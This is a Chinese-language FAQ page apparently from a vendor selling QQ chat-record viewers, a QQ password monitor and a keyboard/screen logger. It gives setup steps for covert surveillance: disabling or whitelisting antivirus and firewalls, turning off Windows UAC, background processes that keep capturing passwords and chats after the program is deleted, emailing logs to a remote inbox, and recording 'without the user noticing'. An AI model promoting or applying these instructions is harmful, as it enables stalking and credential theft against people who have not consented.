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1. 请问如何注册(购买)软件? 多少钱?
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我们网站的对应软件介绍里面，或者软件里面有注册地址,您点击进去，就是购买地址了。对应软件的购买地址里面有对应的价格, 购买后注册信息会发到您的邮箱。如果还有什么疑问，可以写邮件到 kanqqjilu@163.com 。
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2. 如果打开了，登陆一次也没有记录下密码或者聊天记录,可能是什么原因?
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请先确认您使用的是我们网站上下载的最新版本。如果还是不行,请关闭您的杀毒软件，或者账号保险箱，防火墙等，
或者在杀毒软件里面把本软件设置为信任，然后再尝试。 360提示的时候，你设置软件访问为可信的. 如果还是不行
请把您的操作系统，QQ版本，和问题具体现象写邮件到 kanqqjilu@163.com
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3. 我想看QQ聊天记录，我应该选哪个版本的软件?
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推荐你选择并下载 中原QQ聊天记录查看器 http://reg.zhongyuansoft.com/src/qqjilu55
可以查看QQ2008的聊天记录，并且可以查看QQ2009和QQ2010和QQ2011和QQ2012的聊天记录和视频聊天图片记录。
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4. 软件关闭后，还能监控么？
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监控软件运行一次以后(你甚至可以删除本软件)，只要不点卸载,后台程序会一直运行，这中间登陆过的QQ号码的聊天记录或者密码被对应的软件记 录下来。 下次再打开 QQ聊天记录查看器或QQ密码监控器 就能看到聊天记录或者密码了.
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5. 杀毒软件免拦截设置方法
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将软件设置到杀毒软件白名单中
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6. 如果我想在一台电脑 监视另一台电脑的了解记录，我应该用哪个软件?
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我们给你推荐 QQ聊天记录和视频记录查看器邮箱版 http://www.zhongyuansoft.com/src/ToneLookEmail/index.html
不管您用的是QQ2009还是QQ2010还是QQ2011,还是QQ2012,都能把聊天记录发到指定的邮箱。
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7. 我用的是TM,我想看聊天记录，应该用什么软件呢
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如果您使用的是TM，我们推荐您购买 TM聊天记录查看器 http://reg.zhongyuansoft.com/src/tmhistory74/index.html
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8. 我的是vista或者win7 不能正常使用,你需要做如下配置
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点击查看vista系统设置方法
win7需要关闭用户帐户控制,方法: 打开控制面板 -> 选择系统安全->再选择更改用户账户控制设置，然后把滑动条拉到最底, 重启电脑即可关闭账户控制。
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9. 我想记录监视我电脑上除了QQ以外的,其他使用情况
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我们给您推荐 中原键盘屏幕全记录 http://reg.zhongyuansoft.com/src/keyscreen30/index.html软件安装完成后，设置程序将自动运 行，软件已经帮您设置好了所有的默认参数，软件启动监控后,任何人在计算机上的一举一动都将被详细记录下来，本软件默认已经将软件设 置为开机自动启动，在下次开机时，软件亦可在使用者毫无觉察的情况下对电脑实施键盘监控及屏幕监控，本屏幕/键盘记录软件广泛应用于 个人对家人（如子女等）的监控。
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10.安装了中原键盘屏幕全记录后，如何调出它的记录来查看？
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中原键盘屏幕全记录的后台程序和运行程序是分离的，你运行过一次中原键盘屏幕全记录以后，后台程序就自动运行了。当你需要再次查看的时候，直接运行中原键盘屏幕全记录就可以了。你也可以把中原键盘屏幕全记录序放到U盘，或者每次看的时候重新下载中原键盘屏幕全记录。
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11.QQ聊天记录查看器邮箱版，QQ密码监控器邮箱版和中原键盘屏幕全记录的用户，需要开通邮箱的pop3/smtp服务功能，设置方法如下：
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点击查看 QQ邮箱 设置方法
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12.我购买后，可以用多久?
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我们网站的所有软件，自购买日起，可以用1年，1年内可以免费升级，升级仅限购买同一款软件。
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